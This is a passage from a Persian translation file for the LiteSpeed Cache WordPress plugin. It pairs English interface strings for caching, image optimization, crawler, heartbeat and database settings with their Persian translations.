msgid "By design, this option may serve stale content. Do not enable this option, if that is not OK with you."
msgstr "با طراحی کردن، این گزینه ممکن است محتوای قدیمی را ارائه دهد. اگر برای شما مناسب نیست، این گزینه را فعال نکنید."

#: src/lang.cls.php:127
msgid "Serve Stale"
msgstr "سرویس قدیمی"

#: src/admin-display.cls.php:1294
msgid "This value is overwritten by the primary site setting."
msgstr "این مقدار توسط تنظیمات اصلی سایت بازنویسی می‌شود."

#: src/img-optm.cls.php:1165
msgid "One or more pulled images does not match with the notified image md5"
msgstr "یک یا چند تصویر کشیده شده با md5 تصویر اعلام شده مطابقت ندارد"

#: src/img-optm.cls.php:1086
msgid "Some optimized image file(s) has expired and was cleared."
msgstr "برخی از فایل های تصویر بهینه شده منقضی شده و پاک شده است."

#: src/error.cls.php:108
msgid "You have too many requested images, please try again in a few minutes."
msgstr "تعداد تصاویر درخواستی شما زیاد است، لطفاً چند دقیقه دیگر دوباره سعی کنید."

#: src/img-optm.cls.php:1101
msgid "Pulled WebP image md5 does not match the notified WebP image md5."
msgstr "تصویر WebP کشیده شده md5 با تصویر WebP اعلام شده md5 مطابقت ندارد."

#: src/img-optm.cls.php:1130
msgid "Pulled AVIF image md5 does not match the notified AVIF image md5."
msgstr "تصویر AVIF کشیده شده md5 با تصویر AVIF اعلام شده md5 مطابقت ندارد."

#: tpl/inc/admin_footer.php:19
msgid "Read LiteSpeed Documentation"
msgstr "خواندن مستندات لایت اسپید"

#: src/error.cls.php:129
msgid "There is proceeding queue not pulled yet. Queue info: %s."
msgstr "صف در حال پیشرفت هنوز کشیده نشده است. اطلاعات صف: %s."

#: tpl/page_optm/settings_localization.tpl.php:89
msgid "Specify how long, in seconds, Gravatar files are cached."
msgstr "مشخص کنید چه مدت، در ثانیه، پرونده‌های گراواتار در حافظه پنهان ذخیره شوند."

#: src/img-optm.cls.php:618
msgid "Cleared %1$s invalid images."
msgstr "تصاویر نامعتبر %1$s پاک شدند."

#: tpl/general/entry.tpl.php:31
msgid "LiteSpeed Cache General Settings"
msgstr "تنظیمات عمومی کش لایت اسپید"

#: tpl/toolbox/purge.tpl.php:110
msgid "This will delete all cached Gravatar files"
msgstr "این عملیات تمامی فایل‌های کش شده Gravatar را حذف می‌کند"

#: tpl/toolbox/settings-debug.tpl.php:174
msgid "Prevent any debug log of listed pages."
msgstr "هرگونه لاگ اشکال‌زدایی از صفحات لیست شده را جلوگیری کنید"

#: tpl/toolbox/settings-debug.tpl.php:160
msgid "Only log listed pages."
msgstr "فقط صفحات فهرست‌شده لاگ شوند."

#: tpl/toolbox/settings-debug.tpl.php:132
msgid "Specify the maximum size of the log file."
msgstr "بیشترین اندازه فایل  گزارش را اختصاصی کنید."

#: tpl/toolbox/settings-debug.tpl.php:83
msgid "To prevent filling up the disk, this setting should be OFF when everything is working."
msgstr "برای جلوگیری از پر شدن دیسک، وقتی همه چیز کار می کند، این تنظیم باید خاموش باشد."

#: tpl/toolbox/beta_test.tpl.php:80
msgid "Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory."
msgstr "دکمه %s را فشار دهید تا آزمایش بتا متوقف شود و به نسخه فعلی از فهرست پلاگین وردپرس برگردید."

#: tpl/toolbox/beta_test.tpl.php:64 tpl/toolbox/beta_test.tpl.php:80
msgid "Use latest WordPress release version"
msgstr "از آخرین نسخه انتشار وردپرس استفاده کنید"

#: tpl/toolbox/beta_test.tpl.php:64
msgid "OR"
msgstr "یا"

#: tpl/toolbox/beta_test.tpl.php:47
msgid "Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below."
msgstr "از این بخش برای تغییر نسخه پلاگین استفاده کنید. برای آزمایش بتا یک commit GitHub، URL commit را در فیلد زیر وارد کنید."

#: tpl/toolbox/import_export.tpl.php:71
msgid "Reset Settings"
msgstr "بازنشانی تنظیمات"

#: tpl/toolbox/entry.tpl.php:41
msgid "LiteSpeed Cache Toolbox"
msgstr "جعبه ابزار کش لایت اسپید"

#: tpl/toolbox/entry.tpl.php:35
msgid "Beta Test"
msgstr "تست بتا"

#: tpl/toolbox/entry.tpl.php:34
msgid "Log View"
msgstr "مشاهده گزارش"

#: tpl/toolbox/entry.tpl.php:33 tpl/toolbox/settings-debug.tpl.php:55
msgid "Debug Settings"
msgstr "تنظیمات خطایابی"

#: tpl/toolbox/heartbeat.tpl.php:103
msgid "Turn ON to control heartbeat in backend editor."
msgstr "برای کنترل ضربان قلب در ویرایشگر بخش مدیریت روشن کنید."

#: tpl/toolbox/heartbeat.tpl.php:73
msgid "Turn ON to control heartbeat on backend."
msgstr "برای کنترل ضربان قلب در بخش مدیریت روشن کنید."

#: tpl/toolbox/heartbeat.tpl.php:58 tpl/toolbox/heartbeat.tpl.php:88
#: tpl/toolbox/heartbeat.tpl.php:118
msgid "Set to %1$s to forbid heartbeat on %2$s."
msgstr "برای ممنوع کردن ضربان قلب در %2$s به %1$s تنظیم کنید."

#: tpl/toolbox/heartbeat.tpl.php:57 tpl/toolbox/heartbeat.tpl.php:87
#: tpl/toolbox/heartbeat.tpl.php:117
msgid "WordPress valid interval is %s seconds."
msgstr "فاصله معتبر WordPress %s ثانیه است."

#: tpl/toolbox/heartbeat.tpl.php:56 tpl/toolbox/heartbeat.tpl.php:86
#: tpl/toolbox/heartbeat.tpl.php:116
msgid "Specify the %s heartbeat interval in seconds."
msgstr "فاصله ضربان قلب %s را به ثانیه مشخص کنید."

#: tpl/toolbox/heartbeat.tpl.php:43
msgid "Turn ON to control heartbeat on frontend."
msgstr "برای کنترل ضربان قلب در جلوی صفحه، روشن کنید."

#: tpl/toolbox/heartbeat.tpl.php:26
msgid "Disable WordPress interval heartbeat to reduce server load."
msgstr "ضربان قلب دوره‌ای وردپرس را غیرفعال کنید تا بار سرور کاهش یابد."

#: tpl/toolbox/heartbeat.tpl.php:19
msgid "Heartbeat Control"
msgstr "کنترل ضربان قلب"

#: tpl/toolbox/report.tpl.php:127
msgid "provide more information here to assist the LiteSpeed team with debugging."
msgstr "اطلاعات بیشتری در اینجا ارائه دهید تا به تیم LiteSpeed در عیب‌یابی کمک کنید."

#: tpl/toolbox/report.tpl.php:126
msgid "Optional"
msgstr "اختیاری"

#: tpl/toolbox/report.tpl.php:100 tpl/toolbox/report.tpl.php:102
msgid "Generate Link for Current User"
msgstr "ایجاد لینک برای کاربر فعلی"

#: tpl/toolbox/report.tpl.php:96
msgid "Passwordless Link"
msgstr "لینک بدون پسورد"

#: tpl/toolbox/report.tpl.php:75
msgid "System Information"
msgstr "اطلاعات سیستم"

#: tpl/toolbox/report.tpl.php:52
msgid "Go to plugins list"
msgstr "رفتن به لیست افزونه ها"

#: tpl/toolbox/report.tpl.php:51
msgid "Install DoLogin Security"
msgstr "نصب DoLogin Security"

#: tpl/general/settings.tpl.php:102
msgid "Check my public IP from"
msgstr "بررسی IP عمومی من از"

#: tpl/general/settings.tpl.php:102
msgid "Your server IP"
msgstr "آی پی سرور شما"

#: tpl/general/settings.tpl.php:101
msgid "Enter this site's IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups."
msgstr "نشانی IP این سایت‌را وارد کنید تا اجازه دهید خدمات ابری به جای نام دامنه به طور مستقیم با IP تماس بگیرد. این امر سربار جستجوهای DNS و CDN را حذف می‌کند."

#: tpl/crawler/settings.tpl.php:31
msgid "This will enable crawler cron."
msgstr "این باعث فعال شدن کرون خزنده خواهد شد"

#: tpl/crawler/settings.tpl.php:17
msgid "Crawler General Settings"
msgstr "تنظیمات عمومی خزنده"

#: tpl/crawler/blacklist.tpl.php:54
msgid "Remove from Blocklist"
msgstr "حذف از لیست سیاه"

#: tpl/crawler/blacklist.tpl.php:23
msgid "Empty blocklist"
msgstr "لیست مسدود شده را خالی کن"

#: tpl/crawler/blacklist.tpl.php:22
msgid "Are you sure to delete all existing blocklist items?"
msgstr "آیا مطمئن هستید که می‌خواهید تمام موارد موجود در لیست مسدود شده را حذف کنید؟"

#: tpl/crawler/blacklist.tpl.php:88 tpl/crawler/map.tpl.php:103
msgid "Blocklisted due to not cacheable"
msgstr "به دلیل غیرقابل کش شدن در لیست مسدود شده است"

#: tpl/crawler/map.tpl.php:89
msgid "Add to Blocklist"
msgstr "به لیست مسدود شده اضافه کن"

#: tpl/crawler/blacklist.tpl.php:43 tpl/crawler/map.tpl.php:78
msgid "Operation"
msgstr "عملکرد"

#: tpl/crawler/map.tpl.php:52
msgid "Sitemap Total"
msgstr "مجموع نقشه سایت"

#: tpl/crawler/map.tpl.php:48
msgid "Sitemap List"
msgstr "لیست نقشه سایت"

#: tpl/crawler/map.tpl.php:32
msgid "Refresh Crawler Map"
msgstr "نقشه خزنده را تازه‌سازی کن"

#: tpl/crawler/map.tpl.php:29
msgid "Clean Crawler Map"
msgstr "نقشه خزنده تمیز"

#: tpl/crawler/blacklist.tpl.php:28 tpl/crawler/entry.tpl.php:16
msgid "Blocklist"
msgstr "لیست مسدود شده"

#: tpl/crawler/entry.tpl.php:15
msgid "Map"
msgstr "نقشه"

#: tpl/crawler/entry.tpl.php:14
msgid "Summary"
msgstr "خلاصه"

#: tpl/crawler/map.tpl.php:63 tpl/crawler/map.tpl.php:102
msgid "Cache Miss"
msgstr "خطای کش"

#: tpl/crawler/map.tpl.php:62 tpl/crawler/map.tpl.php:101
msgid "Cache Hit"
msgstr "ضربه کش"

#: tpl/crawler/summary.tpl.php:244
msgid "Waiting to be Crawled"
msgstr "در انتظار خزیدن"

#: tpl/crawler/blacklist.tpl.php:89 tpl/crawler/map.tpl.php:64
#: tpl/crawler/map.tpl.php:104 tpl/crawler/summary.tpl.php:199
#: tpl/crawler/summary.tpl.php:247
msgid "Blocklisted"
msgstr "در لیست سیاه"

#: tpl/crawler/summary.tpl.php:194
msgid "Miss"
msgstr "از دست رفته"

#: tpl/crawler/summary.tpl.php:189
msgid "Hit"
msgstr "بازدید"

#: tpl/crawler/summary.tpl.php:184
msgid "Waiting"
msgstr "در انتظار"

#: tpl/crawler/summary.tpl.php:155
msgid "Running"
msgstr "در حال اجرا"

#: tpl/crawler/settings.tpl.php:177
msgid "Use %1$s in %2$s to indicate this cookie has not been set."
msgstr "از %1$s در %2$s برای نشان دادن اینکه این کوکی تنظیم نشده است استفاده کنید"

#: src/admin-display.cls.php:449
msgid "Add new cookie to simulate"
msgstr "کوکی جدیدی برای شبیه‌سازی اضافه کنید"

#: src/admin-display.cls.php:448
msgid "Remove cookie simulation"
msgstr "شبیه‌سازی کوکی را حذف کنید"

#. translators: %s: Current mobile agents in htaccess
#: tpl/cache/settings_inc.cache_mobile.tpl.php:51
msgid "Htaccess rule is: %s"
msgstr "قانون Htaccess این است: %s"

#. translators: %s: LiteSpeed Cache menu label
#: tpl/cache/more_settings_tip.tpl.php:27
msgid "More settings available under %s menu"
msgstr "دسترسی به تنظیمات بیشتر در  زیرمنو %s"

#: tpl/cache/settings_inc.browser.tpl.php:63
msgid "The amount of time, in seconds, that files will be stored in browser cache before expiring."
msgstr "مدت زمانی، بر حسب ثانیه، که فایل‌ها قبل از انقضا در کش مرورگر ذخیره می‌شوند."

#: tpl/cache/settings_inc.browser.tpl.php:25
msgid "OpenLiteSpeed users please check this"
msgstr "کاربران OpenLiteSpeed لطفاً این را بررسی کنید"

#: tpl/cache/settings_inc.browser.tpl.php:17
msgid "Browser Cache Settings"
msgstr "تنظیمات کش مرورگر"

#: tpl/cache/settings-cache.tpl.php:158
msgid "Paths containing these strings will be forced to public cached regardless of no-cacheable settings."
msgstr "مسیرهای حاوی این رشته‌ها بدون در نظر گرفتن تنظیمات no-cacheable به اجبار کش می‌شوند."

#: tpl/cache/settings-cache.tpl.php:49
msgid "With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server."
msgstr "با فعال بودن CDN QUIC.cloud، ممکن است هنوز هدرهای کش از سرور محلی خود را مشاهده کنید"

#: tpl/cache/settings-esi.tpl.php:110
msgid "An optional second parameter may be used to specify cache control. Use a space to separate"
msgstr "یک پارامتر دوم اختیاری می‌تواند برای مشخص کردن کنترل کش استفاده شود. از یک فاصله برای جداسازی استفاده کنید"

#: tpl/cache/settings-esi.tpl.php:108
msgid "The above nonces will be converted to ESI automatically."
msgstr "کلیدهای سری بالا به‌طور خودکار به ESI تبدیل خواهند شد."

#: tpl/cache/entry.tpl.php:21 tpl/cache/entry.tpl.php:75
msgid "Browser"
msgstr "مرورگر"

#: tpl/cache/entry.tpl.php:20 tpl/cache/entry.tpl.php:74
msgid "Object"
msgstr "Object"

#. translators: %1$s: Object cache name, %2$s: Port number
#: tpl/cache/settings_inc.object.tpl.php:128
#: tpl/cache/settings_inc.object.tpl.php:137
msgid "Default port for %1$s is %2$s."
msgstr "پورت پیش‌فرض برای %1$s %2$s است."

#: tpl/cache/settings_inc.object.tpl.php:33
msgid "Object Cache Settings"
msgstr "تنظیمات کش Object"

#: tpl/cache/settings-ttl.tpl.php:111
msgid "Specify an HTTP status code and the number of seconds to cache that page, separated by a space."
msgstr "کد وضعیت HTTP و تعداد ثانیه‌های ذخیره آن صفحه را که مشخص کنید، با فاصله از هم جدا کنید."

#: tpl/cache/settings-ttl.tpl.php:59
msgid "Specify how long, in seconds, the front page is cached."
msgstr "مشخص کنید چه مدت، در ثانیه، برگه نخست در حافظه پنهان ذخیره شوند."

#: tpl/cache/entry.tpl.php:67 tpl/cache/settings-ttl.tpl.php:15
msgid "TTL"
msgstr "TTL"

#: tpl/cache/settings-purge.tpl.php:86
msgid "If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait."
msgstr "اگر روشن باشد، تا زمانی که یک کپی کش جدید در دسترس باشد یک کپی قدیمی از برگه کش شده به بازدیدکنندگان نمایش داده می‌شود. بار سرور را برای بازدیدکنندگان جدید کاهش می‌دهد. اگر خاموش باشد، برگه به صورت پویا در طول صبر نمودن بازدیدکنندگان ایجاد می‌شود."

#: tpl/page_optm/settings_css.tpl.php:341
msgid "Swap"
msgstr "جابجایی"

#: tpl/page_optm/settings_css.tpl.php:340
msgid "Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded."
msgstr "این را تنظیم کنید تا %1$s به تمام قوانین %2$s قبل از کش کردن CSS اضافه شود تا مشخص کند که فونت‌ها چگونه باید در حین دانلود نمایش داده شوند."

#: tpl/page_optm/settings_localization.tpl.php:67
msgid "Avatar list in queue waiting for update"
msgstr "لیست آواتار در صف منتظر به‌روزرسانی"

#: tpl/page_optm/settings_localization.tpl.php:54
msgid "Refresh Gravatar cache by cron."
msgstr "کش Gravatar را با کرون تازه‌سازی کنید."

#: tpl/page_optm/settings_localization.tpl.php:41
msgid "Accelerates the speed by caching Gravatar (Globally Recognized Avatars)."
msgstr "سرعت را با کش کردن Gravatar (آواتارهای شناخته شده جهانی) افزایش می‌دهد."

#: tpl/page_optm/settings_localization.tpl.php:40
msgid "Store Gravatar locally."
msgstr "ذخیره Gravatar به صورت محلی"

#: tpl/page_optm/settings_localization.tpl.php:22
msgid "Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup."
msgstr "ایجاد جدول آواتار ناموفق بود. لطفاً <a %s>راهنمای ایجاد جدول از ویکی LiteSpeed</a> را برای اتمام راه‌اندازی دنبال کنید."

#: tpl/page_optm/settings_media.tpl.php:156
msgid "LQIP requests will not be sent for images where both width and height are smaller than these dimensions."
msgstr "درخواست‌های LQIP برای تصاویری که هم عرض و هم ارتفاع آن‌ها کوچکتر از این ابعاد است ارسال نخواهد شد"

#: tpl/page_optm/settings_media.tpl.php:154
msgid "pixels"
msgstr "پیکسل‌ها"

#: tpl/page_optm/settings_media.tpl.php:138
msgid "Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points."
msgstr "عدد بزرگتر باعث تولید جایگزین با کیفیت بالاتر می‌شود، اما منجر به فایل‌های بزرگتر خواهد شد که اندازه صفحه را افزایش داده و نقاط بیشتری مصرف می‌کند"

#: tpl/page_optm/settings_media.tpl.php:137
msgid "Specify the quality when generating LQIP."
msgstr "کیفیت را هنگام تولید LQIP مشخص کنید."

#: tpl/page_optm/settings_media.tpl.php:123
msgid "Keep this off to use plain color placeholders."
msgstr "این را خاموش نگه‌دارید تا از جایگزین‌های رنگ ساده استفاده کنید."

#: tpl/page_optm/settings_media.tpl.php:122
msgid "Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading."
msgstr "از سرویس تولیدکننده LQIP (جایگزین تصویر با کیفیت پایین) QUIC.cloud برای پیش‌نمایش تصاویر پاسخگو در حین بارگذاری استفاده کنید."

#: tpl/page_optm/settings_media.tpl.php:107
msgid "Specify the responsive placeholder SVG color."
msgstr "رنگ SVG جایگزین پاسخگو را مشخص کنید."

#: tpl/page_optm/settings_media.tpl.php:93
msgid "Variables %s will be replaced with the configured background color."
msgstr "متغیرهای %s با رنگ پس‌زمینه تنظیم‌شده جایگزین خواهند شد."

#: tpl/page_optm/settings_media.tpl.php:92
msgid "Variables %s will be replaced with the corresponding image properties."
msgstr "متغیرهای %s با ویژگی‌های مربوطه تصویر جایگزین خواهند شد."

#: tpl/page_optm/settings_media.tpl.php:91
msgid "It will be converted to a base64 SVG placeholder on-the-fly."
msgstr "این به یک جایگزین SVG base64 به صورت آنی تبدیل خواهد شد."

#: tpl/page_optm/settings_media.tpl.php:90
msgid "Specify an SVG to be used as a placeholder when generating locally."
msgstr "یک SVG را مشخص کنید که به عنوان یک جایگزین هنگام تولید محلی استفاده شود."

#: tpl/page_optm/settings_media_exc.tpl.php:118
msgid "Prevent any lazy load of listed pages."
msgstr "از هر گونه بارگذاری تنبل صفحات لیست شده جلوگیری کنید."

#: tpl/page_optm/settings_media_exc.tpl.php:104
msgid "Iframes having these parent class names will not be lazy loaded."
msgstr "ایفریم‌هایی که این نام‌های کلاس والد را دارند، به صورت تنبل بارگذاری نخواهند شد."

#: tpl/page_optm/settings_media_exc.tpl.php:89
msgid "Iframes containing these class names will not be lazy loaded."
msgstr "ایفریم‌های حاوی این نام‌های کلاس به‌طور تنبل بارگذاری نخواهند شد."

#: tpl/page_optm/settings_media_exc.tpl.php:75
msgid "Images having these parent class names will not be lazy loaded."
msgstr "تصاویر دارای این نام‌های کلاس والد به‌طور تنبل بارگذاری نخواهند شد."

#: tpl/page_optm/entry.tpl.php:31
msgid "LiteSpeed Cache Page Optimization"
msgstr "بهینه‌سازی برگه کش لایت اسپید"

#: tpl/page_optm/entry.tpl.php:21 tpl/page_optm/settings_media_exc.tpl.php:17
msgid "Media Excludes"
msgstr "رسانه‌های مستثنی شده"

#: tpl/page_optm/entry.tpl.php:16 tpl/page_optm/settings_css.tpl.php:31
msgid "CSS Settings"
msgstr "تنظیمات CSS"

#: tpl/page_optm/settings_css.tpl.php:341
msgid "%s is recommended."
msgstr "%s پیشنهاد شده است."

#: tpl/page_optm/settings_js.tpl.php:77
msgid "Deferred"
msgstr "به تعویق افتاده"

#: tpl/page_optm/settings_css.tpl.php:338
msgid "Default"
msgstr "پیش‌فرض"

#: tpl/page_optm/settings_html.tpl.php:61
msgid "This can improve the page loading speed."
msgstr "این می‌تواند سرعت بارگذاری صفحه را بهبود بخشد."

#: tpl/page_optm/settings_html.tpl.php:60
msgid "Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth."
msgstr "به‌طور خودکار پیش‌بارگذاری DNS را برای تمام URLهای موجود در سند، از جمله تصاویر، CSS، جاوااسکریپت و غیره فعال کنید."

#: tpl/banner/new_version_dev.tpl.php:30
msgid "New developer version %s is available now."
msgstr "نسخه جدید توسعه‌دهنده %s اکنون در دسترس است"

#: tpl/banner/new_version_dev.tpl.php:22
msgid "New Developer Version Available!"
msgstr "نسخه جدید توسعه‌دهنده در دسترس است!"

#: tpl/banner/cloud_news.tpl.php:51 tpl/banner/cloud_promo.tpl.php:73
msgid "Dismiss this notice"
msgstr "این اطلاعیه را رد کنید"

#: tpl/banner/cloud_promo.tpl.php:61
msgid "Tweet this"
msgstr "توییت این"

#: tpl/banner/cloud_promo.tpl.php:45
msgid "Tweet preview"
msgstr "پیش‌نمایش توییت"

#: tpl/banner/cloud_promo.tpl.php:40
#: tpl/page_optm/settings_tuning_css.tpl.php:69
#: tpl/page_optm/settings_tuning_css.tpl.php:144
msgid "Learn more"
msgstr "اطلاعات بیشتر"

#: tpl/banner/cloud_promo.tpl.php:22
msgid "You just unlocked a promotion from QUIC.cloud!"
msgstr "شما به تازگی یک پیشنهاد از QUIC.cloud را باز کرده‌اید!"

#: tpl/page_optm/settings_media.tpl.php:274
msgid "The image compression quality setting of WordPress out of 100."
msgstr "تنظیم کیفیت فشرده‌سازی تصویر وردپرس از 100."

#: tpl/img_optm/entry.tpl.php:17 tpl/img_optm/entry.tpl.php:22
#: tpl/img_optm/network_settings.tpl.php:19 tpl/img_optm/settings.tpl.php:19
msgid "Image Optimization Settings"
msgstr "تنظیمات بهینه‌سازی تصویر"

#: tpl/img_optm/summary.tpl.php:377
msgid "Are you sure to destroy all optimized images?"
msgstr "آیا مطمئن هستید که می‌خواهید تمام تصاویر بهینه‌شده را حذف کنید؟"

#: tpl/img_optm/summary.tpl.php:360
msgid "Use Optimized Files"
msgstr "استفاده از فایل های بهینه شده"

#: tpl/img_optm/summary.tpl.php:359
msgid "Switch back to using optimized images on your site"
msgstr "به استفاده از تصاویر بهینه‌شده در سایت خود برگردید"

#: tpl/img_optm/summary.tpl.php:356
msgid "Use Original Files"
msgstr "استفاده از فایل‌های اصلی"

#: tpl/img_optm/summary.tpl.php:355
msgid "Use original images (unoptimized) on your site"
msgstr "از تصاویر اصلی (بهینه‌نشده) در سایت خود استفاده کنید"

#: tpl/img_optm/summary.tpl.php:350
msgid "You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available."
msgstr "شما می‌توانید به سرعت بین استفاده از تصاویر اصلی ( نسخه‌های بهینه‌نشده  ) و تصاویر بهینه‌شده جابه‌جا شوید. این روی تمامی تصاویر سایت شما تاثیر می‌گذارد، چه نسخه معمولی و چه نسخه webp اگر در دسترس باشد."

#: tpl/img_optm/summary.tpl.php:347
msgid "Optimization Tools"
msgstr "ابزار های بهینه سازی"

#: tpl/img_optm/summary.tpl.php:305
msgid "Rescan New Thumbnails"
msgstr "اسکن مجدد تصاویر جدید"

#: tpl/img_optm/summary.tpl.php:289
msgid "Congratulations, all gathered!"
msgstr "تبریک، همه جمع‌آوری شد!"

#: tpl/img_optm/summary.tpl.php:293
msgid "What is an image group?"
msgstr "گروه تصویر چیست؟"

#: tpl/img_optm/summary.tpl.php:241
msgid "Delete all backups of the original images"
msgstr "حذف تمامی نسخه‌های پشتیبان از تصاویر اصلی"

#: tpl/img_optm/summary.tpl.php:217
msgid "Calculate Backups Disk Space"
msgstr "محاسبه فضای دیسک پشتیبان گیری"

#: tpl/img_optm/summary.tpl.php:108
msgid "Optimization Status"
msgstr "وضعیت بهینه‌سازی"

#: tpl/img_optm/summary.tpl.php:69
msgid "Current limit is"
msgstr "محدودیت فعلی"

#: tpl/img_optm/summary.tpl.php:68
msgid "To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited."
msgstr "برای اطمینان از اینکه سرور ما می تواند بدون هیچ مشکلی با سرور شما ارتباط برقرار کند و همه چیز خوب کار کند، برای چند درخواست اول تعداد گروه‌های تصویر مجاز در یک درخواست محدود است."

#: tpl/img_optm/summary.tpl.php:63
msgid "You can request a maximum of %s images at once."
msgstr "شما می توانید حداکثر %s تصویر را به طور همزمان درخواست کنید."

#: tpl/img_optm/summary.tpl.php:58
msgid "Optimize images with our QUIC.cloud server"
msgstr "بهینه‌سازی تصاویر با سرور QUIC.cloud ما"

#: tpl/db_optm/settings.tpl.php:46
msgid "Revisions newer than this many days will be kept when cleaning revisions."
msgstr "بازنگری‌های جدیدتر از این چند روز در هنگام تمیز کردن بازبینی‌ها حفظ می‌شوند."

#: tpl/db_optm/settings.tpl.php:44
msgid "Day(s)"
msgstr "روز(ها)"

#: tpl/db_optm/settings.tpl.php:32
msgid "Specify the number of most recent revisions to keep when cleaning revisions."
msgstr "تعداد آخرین ویرایش‌ها را برای حفظ در هنگام پاک‌سازی بازبینی‌ها مشخص کنید."

#: tpl/db_optm/entry.tpl.php:24
msgid "LiteSpeed Cache Database Optimization"
msgstr "بیهنه‌سازی پایگاه‌داده کش لایت اسپید"

#: tpl/db_optm/entry.tpl.php:17 tpl/db_optm/settings.tpl.php:19
msgid "DB Optimization Settings"
msgstr "تنظیمات بهینه‌سازی پایگاه‌داده"

#: tpl/db_optm/manage.tpl.php:185
msgid "Option Name"
msgstr "نام گزینه"

#: tpl/db_optm/manage.tpl.php:171
msgid "Database Summary"
msgstr "خلاصه پایگاه‌داده"

#: tpl/db_optm/manage.tpl.php:149
msgid "We are good. No table uses MyISAM engine."
msgstr "خیلی خوبه هیچ جدولی از موتور MyISAM استفاده نمی کند."

#: tpl/db_optm/manage.tpl.php:141
msgid "Convert to InnoDB"
msgstr "تبدیل به InnoDB"

#: tpl/db_optm/manage.tpl.php:126
msgid "Tool"
msgstr "ابزار"

#: tpl/db_optm/manage.tpl.php:125
msgid "Engine"
msgstr "موتور"

#: tpl/db_optm/manage.tpl.php:124
msgid "Table"
msgstr "جدول"

#: tpl/db_optm/manage.tpl.php:116
msgid "Database Table Engine Converter"
msgstr "مبدل موتور جدول پایگاه داده"

#: tpl/db_optm/manage.tpl.php:66
msgid "Clean revisions older than %1$s day(s), excluding %2$s latest revisions"
msgstr "پاک‌سازی نسخه‌های قدیمی‌تر از %1$s روز، به‌جز %2$s نسخه آخر"

#: tpl/dash/dashboard.tpl.php:87 tpl/dash/dashboard.tpl.php:806
msgid "Currently active crawler"
msgstr "خزنده‌های فعال درحال‌حاضر"

#: tpl/dash/dashboard.tpl.php:84 tpl/dash/dashboard.tpl.php:803
msgid "Crawler(s)"
msgstr "خزنده‌ها"

#: tpl/crawler/map.tpl.php:77 tpl/dash/dashboard.tpl.php:80
#: tpl/dash/dashboard.tpl.php:799
msgid "Crawler Status"
msgstr "وضعیت خزنده‌ها"

#: tpl/dash/dashboard.tpl.php:648 tpl/dash/dashboard.tpl.php:692
#: tpl/dash/dashboard.tpl.php:736 tpl/dash/dashboard.tpl.php:780
msgid "Force cron"
msgstr "اجبار کرون"

#: tpl/dash/dashboard.tpl.php:645 tpl/dash/dashboard.tpl.php:689
#: tpl/dash/dashboard.tpl.php:733 tpl/dash/dashboard.tpl.php:777
msgid "Requests in queue"
msgstr "درخواست‌ها در صف"

#: tpl/dash/dashboard.tpl.php:638 tpl/dash/dashboard.tpl.php:682
#: tpl/dash/dashboard.tpl.php:726 tpl/dash/dashboard.tpl.php:770
msgid "Time to execute previous request: %s"
msgstr "زمان اجرای درخواست قبلی: %s"

#: tpl/dash/dashboard.tpl.php:59 tpl/dash/dashboard.tpl.php:602
msgid "Private Cache"
msgstr "کش خصوصی"

#: tpl/dash/dashboard.tpl.php:58 tpl/dash/dashboard.tpl.php:601
msgid "Public Cache"
msgstr "کش عمومی"

#: tpl/dash/dashboard.tpl.php:53 tpl/dash/dashboard.tpl.php:596
msgid "Cache Status"
msgstr "وضعیت کش"

#: tpl/dash/dashboard.tpl.php:571
msgid "Last Pull"
msgstr "آخرین کشش"

#: tpl/dash/dashboard.tpl.php:519 tpl/img_optm/entry.tpl.php:16
msgid "Image Optimization Summary"
msgstr "خلاصه بهینه‌سازی تصویر"

#: tpl/dash/dashboard.tpl.php:511
msgid "Refresh page score"
msgstr "امتیاز صفحه را تازه کنید"

#: tpl/dash/dashboard.tpl.php:382 tpl/img_optm/summary.tpl.php:54
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Are you sure you want to redetect the closest cloud server for this service?"
msgstr "آیا مطمئن هستید که می‌خواهید نزدیک‌ترین سرور ابری را برای این سرویس شناسایی مجدد کنید؟"

#: tpl/dash/dashboard.tpl.php:381 tpl/img_optm/summary.tpl.php:54
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Current closest Cloud server is %s. Click to redetect."
msgstr "سرور ابری نزدیک‌ترین فعلی %s است.&#10;برای شناسایی مجدد کلیک کنید."

#: tpl/dash/dashboard.tpl.php:446
msgid "Refresh page load time"
msgstr "زمان بارگذاری صفحه را تازه کنید"

#: tpl/dash/dashboard.tpl.php:353 tpl/general/online.tpl.php:128
msgid "Go to QUIC.cloud dashboard"
msgstr "به داشبورد QUIC.cloud برو"

#: tpl/dash/dashboard.tpl.php:206 tpl/dash/dashboard.tpl.php:711
#: tpl/dash/network_dash.tpl.php:39
msgid "Low Quality Image Placeholder"
msgstr "جایگزین تصویر با کیفیت پایین"

#: tpl/dash/dashboard.tpl.php:182
msgid "Sync data from Cloud"
msgstr "همگام‌سازی داده‌ها از ابر"

#: tpl/dash/dashboard.tpl.php:179
msgid "QUIC.cloud Service Usage Statistics"
msgstr "آمار استفاده از سرویس QUIC.cloud"

#: tpl/dash/dashboard.tpl.php:292 tpl/dash/network_dash.tpl.php:119
msgid "Total images optimized in this month"
msgstr "تعداد تصاویری که در این ماه بهینه‌سازی شده‌اند"

#: tpl/dash/dashboard.tpl.php:291 tpl/dash/network_dash.tpl.php:118
msgid "Total Usage"
msgstr "جمع استفاده"

#: tpl/dash/dashboard.tpl.php:273 tpl/dash/network_dash.tpl.php:111
msgid "Pay as You Go Usage Statistics"
